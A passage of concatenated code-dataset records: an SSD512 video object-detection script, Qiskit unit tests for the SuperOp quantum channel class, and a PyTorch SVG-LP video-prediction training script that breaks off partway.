data_generator.object_detection_2d_geometric_ops import Resize\nfrom data_generator.object_detection_2d_misc_utils import apply_inverse_transforms\n\nimport cv2 as cv\nimport time\n\n# Parameters\nweights_path = '/Users/boma/traffic_project_trainning/trained_model/VGG_VOC0712Plus_SSD_512x512_ft_iter_160000.h5'\n\ninput_video_path = './examples/MOT16-05.mp4'\noutput_video_path = '/Users/boma/traffic_project_trainning/output/MOT16-05_output.mp4'\n\ntotal_frames = 50 # max. number of frames to capture, if -1, process entire stream\n\n# Open input video and retrieve frame size and FPS\nprint(\"Video Preprossing start!\")\n\nvideo = cv.VideoCapture(input_video_path)\nret, test_frame = video.read()\n\nfps = video.get(cv.CAP_PROP_FPS)\nimg_height = test_frame.shape[0]\nimg_width = test_frame.shape[1]\n\nvideo.release()\n\n# Build model, excerpt from ssd512_inference.ipynb\n# 1: Build the Keras model,\n\nK.clear_session() # Clear previous models from memory.\n\nmodel = ssd_512(image_size=(img_height, img_width, 3),\n n_classes=20,\n mode='inference',\n l2_regularization=0.0005,\n scales=[0.07, 0.15, 0.3, 0.45, 0.6, 0.75, 0.9, 1.05], # The scales for MS COCO are [0.04, 0.1, 0.26, 0.42, 0.58, 0.74, 0.9, 1.06]\n aspect_ratios_per_layer=[[1.0, 2.0, 0.5],\n [1.0, 2.0, 0.5, 3.0, 1.0/3.0],\n [1.0, 2.0, 0.5, 3.0, 1.0/3.0],\n [1.0, 2.0, 0.5, 3.0, 1.0/3.0],\n [1.0, 2.0, 0.5, 3.0, 1.0/3.0],\n [1.0, 2.0, 0.5],\n [1.0, 2.0, 0.5]],\n two_boxes_for_ar1=True,\n steps=[8, 16, 32, 64, 128, 256, 512],\n offsets=[0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5],\n clip_boxes=False,\n variances=[0.1, 0.1, 0.2, 0.2],\n normalize_coords=True,\n subtract_mean=[123, 117, 104],\n swap_channels=[2, 1, 0],\n confidence_thresh=0.5,\n iou_threshold=0.45,\n top_k=200,\n nms_max_output_size=400)\n\n# 2: Load the trained weights into the model.\nprint(\"Load the trained weights into the model!\")\nmodel.load_weights(weights_path, by_name=True)\n\n# 3: Compile the model so that Keras won't complain the next time you load it.\n\nadam = Adam(lr=0.001, beta_1=0.9, beta_2=0.999, epsilon=1e-08, decay=0.0)\n\nssd_loss = SSDLoss(neg_pos_ratio=3, alpha=1.0)\n\nmodel.compile(optimizer=adam, loss=ssd_loss.compute_loss)\n\n# Capture video frames\n\ncap_frames = []\nprint(\"Video Object detection start!\")\nvideo = cv.VideoCapture(input_video_path)\nwhile (total_frames == -1 or len(cap_frames) < total_frames):\n ret, frame = video.read()\n if ret:\n frameRGB = cv.cvtColor(frame, cv.COLOR_BGR2RGB)\n cap_frames.append(frameRGB)\n else:\n break\n\nvideo.release()\n\n# Make batch preds with SSD\n\ninput_images = np.array(cap_frames)\n\nstart_time = time.time()\ny_pred = model.predict(input_images,batch_size=8)\nend_time = time.time()\n\nprint(\"{} frames processed.\".format(len(cap_frames)))\nprint(\"Total Time: {} seconds.\".format(end_time - start_time))\nprint(\"FPS: {}\".format(len(cap_frames)/(end_time - start_time)))\n\n# Threshold bounding boxes, excerpt from ssd512_inference.ipynb\n\nconfidence_threshold = 0.5\n\ny_pred_thresh = [y_pred[k][y_pred[k,:,1] > confidence_threshold] for k in range(y_pred.shape[0])]\n\nnp.set_printoptions(precision=2, suppress=True, linewidth=90)\n\n\n# Prepare labels\n\ncolors = plt.cm.hsv(np.linspace(0, 1, 21))[:, 0:3] * 254 # Colours are in HSV space, but look good anyway\n\nprint(\"We can recongnise those objects from our pre-trained model\")\nclasses = ['background',\n 'aeroplane', 'bicycle', 'bird', 'boat',\n 'bottle', 'bus', 'car', 'cat',\n 'chair', 'cow', 'diningtable', 'dog',\n 'horse', 'motorbike', 'person', 'pottedplant',\n 'sheep', 'sofa', 'train', 'tvmonitor']\n\nfor object in classes:\n print(object)\n\n# Draw bounding boxes using OpenCV\n\noutput_images = cap_frames.copy()\n\nfont = cv.FONT_HERSHEY_SIMPLEX\nfor i in range(len(output_images)):\n output_img = output_images[i]\n for box in y_pred_thresh[i]:\n xmin = int(box[2] * output_img.shape[1] / img_width)\n ymin = int(box[3] * output_img.shape[0] / img_height)\n xmax = int(box[4] * output_img.shape[1] / img_width)\n ymax = int(box[5] * output_img.shape[0] / img_height)\n color = (colors[int(box[0])][0], colors[int(box[0])][1], colors[int(box[0])][2])\n label = '{}: {:.2f}'.format(classes[int(box[0])], box[1])\n output_img = cv.rectangle(output_img, (xmin, ymin), (xmax, ymax), color, 1)\n output_img = cv.rectangle(output_img,\n (xmin, ymin - 13),\n (xmin + len(label) * 7 + 2, ymin),\n color,\n -1) # Draw a small rectangle as label background\n output_img = cv.putText(output_img, label,\n (xmin + 1, ymin - 3),\n font, 0.4,\n (255, 255, 255), 1,\n cv.LINE_AA)\n\n### outputs: y_pred_thresh\n\nprint(\"Detaection had been done and we can see those in the video\")\nprint(\"Predicted boxes:\\n\")\nprint(' class conf xmin ymin xmax ymax')\nprint(y_pred_thresh[9])\n\nplt.figure(figsize=(20,12))\nplt.imshow(output_images[7])\nplt.show()","sub_path":"SSD512_inference_video_stream.py","file_name":"SSD512_inference_video_stream.py","file_ext":"py","file_size_in_byte":6431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"291374959","text":"# -*- coding: utf-8 -*-\n\n# Copyright 2019, IBM.\n#\n# This source code is licensed under the Apache License, Version 2.0 found in\n# the LICENSE.txt file in the root directory of this source tree.\n\n# pylint: disable=invalid-name,missing-docstring\n\n\"\"\"Tests for SuperOp quantum channel representation class.\"\"\"\n\nimport unittest\nimport numpy as np\n\nfrom qiskit import QiskitError\nfrom qiskit.quantum_info.operators.channel import SuperOp\nfrom .base import ChannelTestCase\n\n\nclass TestSuperOp(ChannelTestCase):\n \"\"\"Tests for SuperOp channel representation.\"\"\"\n\n def test_init(self):\n \"\"\"Test initialization\"\"\"\n chan = SuperOp(self.sopI)\n self.assertAllClose(chan.data, self.sopI)\n self.assertEqual(chan.dims, (2, 2))\n\n mat = np.zeros((4, 16))\n chan = SuperOp(mat)\n self.assertAllClose(chan.data, mat)\n self.assertEqual(chan.dims, (4, 2))\n\n chan = SuperOp(mat.T)\n self.assertAllClose(chan.data, mat.T)\n self.assertEqual(chan.dims, (2, 4))\n\n # Wrong input or output dims should raise exception\n self.assertRaises(QiskitError, SuperOp, mat, input_dim=4, output_dim=4)\n\n def test_equal(self):\n \"\"\"Test __eq__ method\"\"\"\n mat = self.rand_matrix(4, 4)\n self.assertEqual(SuperOp(mat), SuperOp(mat))\n\n def test_copy(self):\n \"\"\"Test copy method\"\"\"\n mat = np.eye(4)\n orig = SuperOp(mat)\n cpy = orig.copy()\n cpy._data[0, 0] = 0.0\n self.assertFalse(cpy == orig)\n\n def test_evolve(self):\n \"\"\"Test evolve method.\"\"\"\n input_psi = [0, 1]\n input_rho = [[0, 0], [0, 1]]\n # Identity channel\n chan = SuperOp(self.sopI)\n target_rho = np.array([[0, 0], [0, 1]])\n self.assertAllClose(chan._evolve(input_psi), target_rho)\n self.assertAllClose(chan._evolve(np.array(input_psi)), target_rho)\n self.assertAllClose(chan._evolve(input_rho), target_rho)\n self.assertAllClose(chan._evolve(np.array(input_rho)), target_rho)\n\n # Hadamard channel\n mat = np.array([[1, 1], [1, -1]]) / np.sqrt(2)\n chan = SuperOp(np.kron(mat.conj(), mat))\n target_rho = np.array([[1, -1], [-1, 1]]) / 2\n self.assertAllClose(chan._evolve(input_psi), target_rho)\n self.assertAllClose(chan._evolve(np.array(input_psi)), target_rho)\n self.assertAllClose(chan._evolve(input_rho), target_rho)\n self.assertAllClose(chan._evolve(np.array(input_rho)), target_rho)\n\n # Completely depolarizing channel\n chan = SuperOp(self.depol_sop(1))\n target_rho = np.eye(2) / 2\n self.assertAllClose(chan._evolve(input_psi), target_rho)\n self.assertAllClose(chan._evolve(np.array(input_psi)), target_rho)\n self.assertAllClose(chan._evolve(input_rho), target_rho)\n self.assertAllClose(chan._evolve(np.array(input_rho)), target_rho)\n\n def test_is_cptp(self):\n \"\"\"Test is_cptp method.\"\"\"\n self.assertTrue(SuperOp(self.depol_sop(0.25)).is_cptp())\n # Non-CPTP should return false\n self.assertFalse(SuperOp(1.25 * self.sopI - 0.25 * self.depol_sop(1)).is_cptp())\n\n def test_conjugate(self):\n \"\"\"Test conjugate method.\"\"\"\n mat = self.rand_matrix(4, 4)\n chan = SuperOp(mat)\n targ = SuperOp(np.conjugate(mat))\n self.assertEqual(chan.conjugate(), targ)\n\n def test_transpose(self):\n \"\"\"Test transpose method.\"\"\"\n mat = self.rand_matrix(4, 4)\n chan = SuperOp(mat)\n targ = SuperOp(np.transpose(mat))\n self.assertEqual(chan.transpose(), targ)\n\n def test_adjoint(self):\n \"\"\"Test adjoint method.\"\"\"\n mat = self.rand_matrix(4, 4)\n chan = SuperOp(mat)\n targ = SuperOp(np.transpose(np.conj(mat)))\n self.assertEqual(chan.adjoint(), targ)\n\n def test_compose_except(self):\n \"\"\"Test compose different dimension exception\"\"\"\n self.assertRaises(QiskitError, SuperOp(np.eye(4)).compose, SuperOp(np.eye(16)))\n self.assertRaises(QiskitError, SuperOp(np.eye(4)).compose, np.eye(4))\n self.assertRaises(QiskitError, SuperOp(np.eye(4)).compose, 2)\n\n def test_compose(self):\n \"\"\"Test compose method.\"\"\"\n # UnitaryChannel evolution\n chan1 = SuperOp(self.sopX)\n chan2 = SuperOp(self.sopY)\n chan = chan1.compose(chan2)\n targ = SuperOp(self.sopZ)\n self.assertEqual(chan, targ)\n\n # 50% depolarizing channel\n chan1 = SuperOp(self.depol_sop(0.5))\n chan = chan1.compose(chan1)\n targ = SuperOp(self.depol_sop(0.75))\n self.assertEqual(chan, targ)\n\n # Random superoperator\n mat1 = self.rand_matrix(4, 4)\n mat2 = self.rand_matrix(4, 4)\n chan1 = SuperOp(mat1)\n chan2 = SuperOp(mat2)\n targ = SuperOp(np.dot(mat2, mat1))\n self.assertEqual(chan1.compose(chan2), targ)\n self.assertEqual(chan1 @ chan2, targ)\n targ = SuperOp(np.dot(mat1, mat2))\n self.assertEqual(chan2.compose(chan1), targ)\n self.assertEqual(chan2 @ chan1, targ)\n\n # Compose different dimensions\n chan1 = SuperOp(self.rand_matrix(16, 4), input_dim=2, output_dim=4)\n chan2 = SuperOp(self.rand_matrix(4, 16), output_dim=2)\n chan = chan1.compose(chan2)\n self.assertEqual(chan.dims, (2, 2))\n chan = chan2.compose(chan1)\n self.assertEqual(chan.dims, (4, 4))\n\n def test_compose_front(self):\n \"\"\"Test front compose method.\"\"\"\n # UnitaryChannel evolution\n chan1 = SuperOp(self.sopX)\n chan2 = SuperOp(self.sopY)\n chan = chan1.compose(chan2, front=True)\n targ = SuperOp(self.sopZ)\n self.assertEqual(chan, targ)\n\n # 50% depolarizing channel\n chan1 = SuperOp(self.depol_sop(0.5))\n chan = chan1.compose(chan1, front=True)\n targ = SuperOp(self.depol_sop(0.75))\n self.assertEqual(chan, targ)\n\n # Random superoperator\n mat1 = self.rand_matrix(4, 4)\n mat2 = self.rand_matrix(4, 4)\n chan1 = SuperOp(mat1)\n chan2 = SuperOp(mat2)\n targ = SuperOp(np.dot(mat2, mat1))\n self.assertEqual(chan2.compose(chan1, front=True), targ)\n targ = SuperOp(np.dot(mat1, mat2))\n self.assertEqual(chan1.compose(chan2, front=True), targ)\n\n # Compose different dimensions\n chan1 = SuperOp(self.rand_matrix(16, 4), input_dim=2, output_dim=4)\n chan2 = SuperOp(self.rand_matrix(4, 16), output_dim=2)\n chan = chan1.compose(chan2, front=True)\n self.assertEqual(chan.dims, (4, 4))\n chan = chan2.compose(chan1, front=True)\n self.assertEqual(chan.dims, (2, 2))\n\n def test_expand(self):\n \"\"\"Test expand method.\"\"\"\n rho0, rho1 = np.diag([1, 0]), np.diag([0, 1])\n rho_init = np.kron(rho0, rho0)\n chan1 = SuperOp(self.sopI)\n chan2 = SuperOp(self.sopX)\n\n # X \\otimes I\n chan = chan1.expand(chan2)\n rho_targ = np.kron(rho1, rho0)\n self.assertEqual(chan.dims, (4, 4))\n self.assertAllClose(chan._evolve(rho_init), rho_targ)\n\n # I \\otimes X\n chan = chan2.expand(chan1)\n rho_targ = np.kron(rho0, rho1)\n self.assertEqual(chan.dims, (4, 4))\n self.assertAllClose(chan._evolve(rho_init), rho_targ)\n\n def test_tensor(self):\n \"\"\"Test tensor method.\"\"\"\n rho0, rho1 = np.diag([1, 0]), np.diag([0, 1])\n rho_init = np.kron(rho0, rho0)\n chan1 = SuperOp(self.sopI)\n chan2 = SuperOp(self.sopX)\n\n # X \\otimes I\n chan = chan2.tensor(chan1)\n rho_targ = np.kron(rho1, rho0)\n self.assertEqual(chan.dims, (4, 4))\n self.assertAllClose(chan._evolve(rho_init), rho_targ)\n chan = chan2 ^ chan1\n self.assertEqual(chan.dims, (4, 4))\n self.assertAllClose(chan._evolve(rho_init), rho_targ)\n # I \\otimes X\n chan = chan1.tensor(chan2)\n rho_targ = np.kron(rho0, rho1)\n self.assertEqual(chan.dims, (4, 4))\n self.assertAllClose(chan._evolve(rho_init), rho_targ)\n chan = chan1 ^ chan2\n self.assertEqual(chan.dims, (4, 4))\n self.assertAllClose(chan._evolve(rho_init), rho_targ)\n\n def test_power(self):\n \"\"\"Test power method.\"\"\"\n # 10% depolarizing channel\n p_id = 0.9\n depol = SuperOp(self.depol_sop(1 - p_id))\n\n # Compose 3 times\n p_id3 = p_id ** 3\n chan3 = depol.power(3)\n targ3 = SuperOp(self.depol_sop(1 - p_id3))\n self.assertEqual(chan3, targ3)\n\n def test_power_except(self):\n \"\"\"Test power method raises exceptions.\"\"\"\n chan = SuperOp(self.depol_sop(1))\n # Negative power raises error\n self.assertRaises(QiskitError, chan.power, -1)\n # 0 power raises error\n self.assertRaises(QiskitError, chan.power, 0)\n # Non-integer power raises error\n self.assertRaises(QiskitError, chan.power, 0.5)\n\n def test_add(self):\n \"\"\"Test add method.\"\"\"\n mat1 = 0.5 * self.sopI\n mat2 = 0.5 * self.depol_sop(1)\n targ = SuperOp(mat1 + mat2)\n\n chan1 = SuperOp(mat1)\n chan2 = SuperOp(mat2)\n self.assertEqual(chan1.add(chan2), targ)\n self.assertEqual(chan1 + chan2, targ)\n\n def test_add_except(self):\n \"\"\"Test add method raises exceptions.\"\"\"\n chan1 = SuperOp(self.sopI)\n chan2 = SuperOp(np.eye(16))\n self.assertRaises(QiskitError, chan1.add, chan2)\n self.assertRaises(QiskitError, chan1.add, 5)\n\n def test_subtract(self):\n \"\"\"Test subtract method.\"\"\"\n mat1 = 0.5 * self.sopI\n mat2 = 0.5 * self.depol_sop(1)\n targ = SuperOp(mat1 - mat2)\n\n chan1 = SuperOp(mat1)\n chan2 = SuperOp(mat2)\n self.assertEqual(chan1.subtract(chan2), targ)\n self.assertEqual(chan1 - chan2, targ)\n\n def test_subtract_except(self):\n \"\"\"Test subtract method raises exceptions.\"\"\"\n chan1 = SuperOp(self.sopI)\n chan2 = SuperOp(np.eye(16))\n self.assertRaises(QiskitError, chan1.subtract, chan2)\n self.assertRaises(QiskitError, chan1.subtract, 5)\n\n def test_multiply(self):\n \"\"\"Test multiply method.\"\"\"\n chan = SuperOp(self.sopI)\n val = 0.5\n targ = SuperOp(val * self.sopI)\n self.assertEqual(chan.multiply(val), targ)\n self.assertEqual(val * chan, targ)\n self.assertEqual(chan * val, targ)\n\n def test_multiply_except(self):\n \"\"\"Test multiply method raises exceptions.\"\"\"\n chan = SuperOp(self.sopI)\n self.assertRaises(QiskitError, chan.multiply, 's')\n self.assertRaises(QiskitError, chan.multiply, chan)\n\n def test_negate(self):\n \"\"\"Test negate method\"\"\"\n chan = SuperOp(self.sopI)\n targ = SuperOp(-self.sopI)\n self.assertEqual(-chan, targ)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"test/python/quantum_info/channel/test_superop.py","file_name":"test_superop.py","file_ext":"py","file_size_in_byte":10897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"461948613","text":"import argparse\nimport os\nimport yaml\nimport json\nimport torch\nimport torch.utils.data\nfrom torch import optim\nfrom torchvision import transforms\nfrom train_utils.helper_functions import save_checkpoint, mse_loss, ms_ssim_loss, mix_loss, check_dir\nfrom eval_utils.visdom_plotter import VisdomLinePlotter, VisdomImagePlotter\nimport matplotlib.pyplot as plt\nimport models.lstm as lstm_models\nfrom train_utils import svp_utils\nimport models.vgg_64 as model\nimport torch.nn as nn\nfrom tqdm import tqdm\nimport numpy as np\nfrom dataload.action_dataset import RolloutSequenceDataset\nfrom torch.utils.data import DataLoader\nfrom functools import partial\n\ndef kl_criterion(mu1, logvar1, mu2, logvar2, batch_size):\n\n sigma1 = logvar1.mul(0.5).exp()\n sigma2 = logvar2.mul(0.5).exp()\n kld = torch.log(sigma2/sigma1) + (torch.exp(logvar1) + (mu1 - mu2)**2)/(2*torch.exp(logvar2)) - 1/2\n return kld.sum() / batch_size\n\n\nclass SVG_LP_TRAINER():\n\n def __init__(self, params):\n\n self.params = params\n self.loss_function = nn.MSELoss().cuda()\n # choose device\n self.cuda = params[\"cuda\"] and torch.cuda.is_available()\n torch.manual_seed(params[\"seed\"])\n torch.backends.cudnn.benchmark = True\n self.device = torch.device(\"cuda\" if self.cuda else \"cpu\")\n\n if params[\"noreload\"]:\n self.frame_predictor = lstm_models.lstm(params[\"g_dim\"] + params[\"z_dim\"]+params[\"action_size\"], params[\"g_dim\"], params[\"rnn_size\"], params[\"predictor_rnn_layers\"],\n params[\"batch_size\"]).cuda()\n self.posterior = lstm_models.gaussian_lstm(params[\"g_dim\"], params[\"z_dim\"], params[\"rnn_size\"], params[\"posterior_rnn_layers\"],\n params[\"batch_size\"]).cuda()\n self.prior = lstm_models.gaussian_lstm(params[\"g_dim\"], params[\"z_dim\"], params[\"rnn_size\"],\n params[\"prior_rnn_layers\"],\n params[\"batch_size\"]).cuda()\n self.encoder = model.encoder(params[\"g_dim\"], params[\"n_channels\"]).cuda()\n self.decoder = model.decoder(params[\"g_dim\"], params[\"n_channels\"]).cuda()\n else:\n self.load_checkpoint()\n self.frame_predictor.apply(svp_utils.init_weights)\n self.posterior.apply(svp_utils.init_weights)\n self.prior.apply(svp_utils.init_weights)\n self.encoder.apply(svp_utils.init_weights)\n self.decoder.apply(svp_utils.init_weights)\n\n\n\n self.frame_predictor_optimizer = optim.Adam(self.frame_predictor.parameters(), lr=params[\"learning_rate\"], betas=(params[\"beta1\"], 0.999))\n self.posterior_optimizer = optim.Adam(self.posterior.parameters(), lr=params[\"learning_rate\"], betas=(params[\"beta1\"], 0.999))\n self.encoder_optimizer = optim.Adam(self.encoder.parameters(), lr=params[\"learning_rate\"], betas=(params[\"beta1\"], 0.999))\n self.decoder_optimizer = optim.Adam(self.decoder.parameters(), lr=params[\"learning_rate\"], betas=(params[\"beta1\"], 0.999))\n self.prior_optimizer = optim.Adam(self.prior.parameters(), lr=params[\"learning_rate\"], betas=(params[\"beta1\"], 0.999))\n\n if params[\"plot_visdom\"]:\n self.plotter = VisdomLinePlotter(env_name=params['env'])\n self.img_plotter = VisdomImagePlotter(env_name=params['env'])\n\n\n\n transform = transforms.Lambda(\n lambda x: np.transpose(x, (0, 3, 1, 2)) / 255)\n self.train_loader = DataLoader(\n RolloutSequenceDataset(params[\"path_data\"], params[\"seq_len\"], transform, buffer_size=params[\"train_buffer_size\"]),\n batch_size=params['batch_size'], num_workers=4, shuffle=True, drop_last=True)\n self.test_loader = DataLoader(\n RolloutSequenceDataset(params[\"path_data\"], params[\"seq_len\"], transform, train=False, buffer_size=params[\"test_buffer_size\"]),\n batch_size=params['batch_size'], num_workers=4, shuffle=False, drop_last=True)\n\n\n\n\n def load_checkpoint(self):\n tmp = torch.load(self.params[\"model_path\"])\n print(\"LOADING CHECKPOINT.............\")\n self.frame_predictor = tmp['frame_predictor']\n self.posterior = tmp['posterior']\n self.prior = tmp['posterior']\n self.encoder = tmp['encoder']\n self.decoder = tmp['decoder']\n self.frame_predictor.batch_size = self.params[\"batch_size\"]\n self.posterior.batch_size = self.params[\"batch_size\"]\n self.prior.batch_size = self.params[\"batch_size\"]\n\n\n\n def plot_samples(self, x, actions, epoch):\n nsample = 5\n gen_seq = [[] for i in range(nsample)]\n\n gt_seq = [x[:,i] for i in range(x.shape[1])]\n\n #h_seq = [self.encoder(x[:,i]) for i in range(params[\"n_past\"])]\n for s in range(nsample):\n self.frame_predictor.hidden = self.frame_predictor.init_hidden()\n self.posterior.hidden = self.posterior.init_hidden()\n self.prior.hidden = self.prior.init_hidden()\n gen_seq[s].append(x[:,0])\n x_in = x[:,0]\n for i in range(1, self.params[\"n_eval\"]):\n h = self.encoder(x_in)\n if self.params[\"last_frame_skip\"] or i < self.params[\"n_past\"]:\n h, skip = h\n h = h.detach()\n else:\n h, _ = h\n h = h.detach()\n if i < self.params[\"n_past\"]:\n h_target = self.encoder(x[:, i])[0].detach()\n z_t, _, _ = self.posterior(h_target)\n self.prior(h)\n self.frame_predictor(torch.cat([h, z_t, actions[:,i-1]], 1))\n x_in = x[:,i]\n gen_seq[s].append(x_in)\n else:\n z_t, _, _ = self.prior(h)\n h = self.frame_predictor(torch.cat([h, z_t, actions[:,i-1]], 1)).detach()\n x_in = self.decoder([h, skip]).detach()\n gen_seq[s].append(x_in)\n\n to_plot = []\n gifs = [[] for t in range(self.params[\"n_eval\"])]\n nrow = min(self.params[\"batch_size\"], 10)\n for i in range(nrow):\n # ground truth sequence\n row = []\n for t in range(self.params[\"n_eval\"]):\n row.append(gt_seq[t][i])\n to_plot.append(row)\n\n for s in range(nsample):\n row = []\n for t in range(self.params[\"n_eval\"]):\n row.append(gen_seq[s][t][i])\n to_plot.append(row)\n for t in range(self.params[\"n_eval\"]):\n row = []\n row.append(gt_seq[t][i])\n for s in range(nsample):\n row.append(gen_seq[s][t][i])\n gifs[t].append(row)\n\n fname = '%s/gen/sample_%d.png' % (self.params[\"logdir\"], epoch)\n svp_utils.save_tensors_image(fname, to_plot)\n\n fname = '%s/gen/sample_%d.gif' % (self.params[\"logdir\"], epoch)\n svp_utils.save_gif(fname, gifs)\n\n\n def plot_rec(self, x, actions, epoch):\n # Generate a frame sequence visualization\n self.frame_predictor.hidden = self.frame_predictor.init_hidden()\n self.posterior.hidden = self.posterior.init_hidden()\n gen_seq = []\n gen_seq.append(x[:,0])\n x_in = x[:,0]\n h_seq = [self.encoder(x[:,i]) for i in range(params[\"seq_len\"])]\n for i in range(1, self.params[\"seq_len\"]):\n h_target = h_seq[i][0].detach()\n if self.params[\"last_frame_skip\"] or i < self.params[\"n_past\"]:\n h, skip = h_seq[i - 1]\n else:\n h, _ = h_seq[i - 1]\n h = h.detach()\n z_t, mu, logvar = self.posterior(h_target)\n if i < self.params[\"n_past\"]:\n self.frame_predictor(torch.cat([h, z_t, actions[:,i-1]], 1))\n gen_seq.append(x[:,i])\n else:\n h = self.frame_predictor(torch.cat([h, z_t, actions[:,i-1]], 1)).detach()\n x_pred = self.decoder([h, skip]).detach()\n gen_seq.append(x_pred)\n\n to_plot = []\n nrow = min(self.params[\"batch_size\"], 10)\n for i in range(nrow):\n row = []\n for t in range(self.params[\"seq_len\"]):\n row.append(gen_seq[t][i])\n to_plot.append(row)\n check_dir(params[\"logdir\"], \"gen\")\n fname = '%s/gen/rec_%d.png' % (self.params[\"logdir\"], epoch)\n svp_utils.save_tensors_image(fname, to_plot)\n\n def data_pass(self, epoch, train):\n if train:\n self.frame_predictor.train()\n self.posterior.train()\n self.prior.train()\n self.encoder.train()\n self.decoder.train()\n loader = self.train_loader\n mode = \"train\"\n else:\n self.frame_predictor.eval()\n self.posterior.eval()\n self.prior.eval()\n self.encoder.eval()\n self.decoder.eval()\n loader = self.test_loader\n mode = \"test\"\n\n num_of_files = len(loader.dataset._files)\n buffer_size = loader.dataset._buffer_size\n iteration = 0\n final_loss = 0\n all_files = 0\n loader.dataset._buffer_index = 0\n break_cond = False\n plot_epoch = True\n while True:\n\n loader.dataset.load_next_buffer()\n cum_loss = 0\n cum_mse = 0.0\n cum_dl = 0.0\n pbar = tqdm(total=len(loader.dataset), desc=\"Epoch {} - {}\".format(epoch, mode))\n for i, data in enumerate(loader):\n obs, action, next_obs = [arr.to(self.device) for arr in data]\n obs = torch.cat([obs, next_obs[:,-1].unsqueeze(1)], 1)\n\n # initialize the hidden state.\n self.frame_predictor.hidden = self.frame_predictor.init_hidden()\n self.posterior.hidden = self.posterior.init_hidden()\n self.prior.hidden = self.prior.init_hidden()\n\n seq_len = obs.shape[1]\n\n\n if not train:\n if plot_epoch:\n print(\">>>>>>>>>>>PLOT<<<<<<<<<<<<<\")\n self.plot_rec(obs, action, epoch)\n self.plot_samples(obs, action, epoch)\n plot_epoch = False\n mse = 0\n kld = 0\n x_in = obs[:, 0]\n\n for t in range(1, seq_len):\n h = self.encoder(x_in)\n if t < params[\"n_past\"] and params[\"last_frame_skip\"]:\n h, skip = h\n else:\n h, _ = h\n\n if t < self.params[\"n_past\"]:\n h_target = self.encoder(obs[:, t])[0]\n _, z_t, _ = self.posterior(h_target)\n self.prior(h)\n self.frame_predictor(torch.cat([h, z_t, action[:,t-1]], 1))\n x_in = obs[:, t]\n\n else:\n z_t, _, _ = self.prior(h)\n h = self.frame_predictor(torch.cat([h, z_t, action[:,t-1]], 1))\n x_in = self.decoder([h, skip])\n x_pred = x_in\n with torch.no_grad():\n mse += self.loss_function(x_pred, obs[:, t])\n kld = 0\n mse /= params[\"seq_len\"]\n kld /= params[\"seq_len\"]\n loss = mse + kld*params[\"beta\"]\n else:\n self.frame_predictor.zero_grad()\n self.posterior.zero_grad()\n self.prior.zero_grad()\n self.encoder.zero_grad()\n self.decoder.zero_grad()\n\n mse = 0\n kld = 0\n\n for t in range(1, seq_len):\n h = self.encoder(obs[:,t - 1])\n h_target = self.encoder(obs[:,t])[0]\n if t < params[\"n_past\"] or params[\"last_frame_skip\"]:\n h, skip = h\n else:\n h = h[0]\n z_t, mu, logvar = self.posterior(h_target)\n _, mu_p, logvar_p = self.prior(h)\n h_pred = self.frame_predictor(torch.cat([h, z_t, action[:,t-1]], 1))\n x_pred = self.decoder([h_pred, skip])\n\n mse += self.loss_function(x_pred, obs[:, t])\n kld += kl_criterion(mu, logvar, mu_p, logvar_p, params[\"batch_size\"])\n\n mse /= params[\"seq_len\"]\n kld /= params[\"seq_len\"]\n loss = mse + kld*params[\"beta\"]\n loss.backward()\n self.frame_predictor_optimizer.step()\n self.posterior_optimizer.step()\n self.prior_optimizer.step()\n self.encoder_optimizer.step()\n self.decoder_optimizer.step()\n\n cum_loss += loss\n cum_mse += mse\n cum_dl += kld*params[\"beta\"]\n pbar.set_postfix_str(\"loss={loss:5.4f} , MSE={mse_loss:5.4f}, DL_loss={dl_loss:5.4f} \".format(\n loss=cum_loss / (i + 1), mse_loss=cum_mse/ (i + 1), dl_loss=cum_dl/ (i + 1)))\n pbar.update(params['batch_size'])\n pbar.close()\n final_loss += cum_loss\n all_files += len(loader.dataset)\n iteration += 1\n print(\"Iteration: \" + str(iteration))\n print(\"Buffer index: \" + str(loader.dataset._buffer_index))\n if buffer_size < num_of_files:\n if params[\"shorten_epoch\"]==iteration:\n break_cond = True\n if loader.dataset._buffer_index == 0 or break_cond:\n final_loss = final_loss * params['batch_size'] / all_files\n break\n if num_of_files - loader.dataset._buffer_index < buffer_size:\n break_cond = True\n else:\n final_loss = final_loss * params['batch_size'] / all_files\n break\n\n print(\"Average loss {}\".format(final_loss))\n if self.params[\"plot_visdom\"]:\n if train:\n self.plotter.plot('loss', 'train', 'SVG_FP Train Loss', epoch, final_loss.item())\n else:\n self.plotter.plot('loss', 'test', 'SVG_FP Test Loss', epoch, final_loss.item())\n return final_loss.item()\n\n def init_svg_model(self):\n self.svg_dir = os.path.join(self.params[\"logdir\"], 'svg')\n check_dir(self.svg_dir, 'samples')\n\n\n def checkpoint(self, cur_best, test_loss):\n # Save best and\n best_filename = os.path.join(self.svg_dir, 'best.tar')\n filename = os.path.join(self.svg_dir, 'checkpoint.tar')\n is_best = not cur_best or test_loss < cur_best\n if is_best:\n cur_best = test_loss\n save_checkpoint({\n 'encoder': self.encoder,\n 'decoder': self.decoder,\n 'frame_predictor': self.frame_predictor,\n 'posterior': self.posterior,\n 'prior': self.prior,\n 'test_loss': test_loss,\n 'params': self.params\n }, is_best, filename, best_filename)\n return cur_best\n\n\n def plot(self, train, test, epochs):\n plt.plot(epochs, train, label=\"train loss\")\n plt.plot(epochs, test, label=\"test loss\")\n plt.legend()\n plt.grid()\n plt.savefig(self.params[\"logdir\"] + \"/svg_lp_training_curve.png\")\n plt.close()\n\nif __name__ == \"__main__\":\n\n parser = argparse.ArgumentParser(description='SVP_LP')\n parser.add_argument('--params', default=\"params/svg_lp_train_params.yaml\", metavar='params',\n help=\"Path to file containing parameters for training\")\n args = parser.parse_args()\n\n with open(args.params, 'r') as stream:\n try:\n params = yaml.safe_load(stream)\n print(params)\n except yaml.YAMLError as exc:\n print(exc)\n\n # Check if directories exists, if not, create them\n check_dir(params[\"logdir\"])\n out_path = params[\"logdir\"] + \"/train_params.json\"\n with open(out_path, 'w') as outfile:\n json.dump(params, outfile)\n\n if params[\"sample\"]:\n check_dir(params[\"logdir\"], 'results')\n #CHANGE\n #device = torch.device('cuda:1')\n #torch.cuda.set_device(device)\n\n trainer = SVG_LP_TRAINER(params)\n trainer.init_svg_model()\n train = partial(trainer.data_pass, train=True)\n test = partial(trainer.data_pass, train=False)\n cur_best = None\n epochs = params[\"epochs\"]\n cum_train_loss = []\n 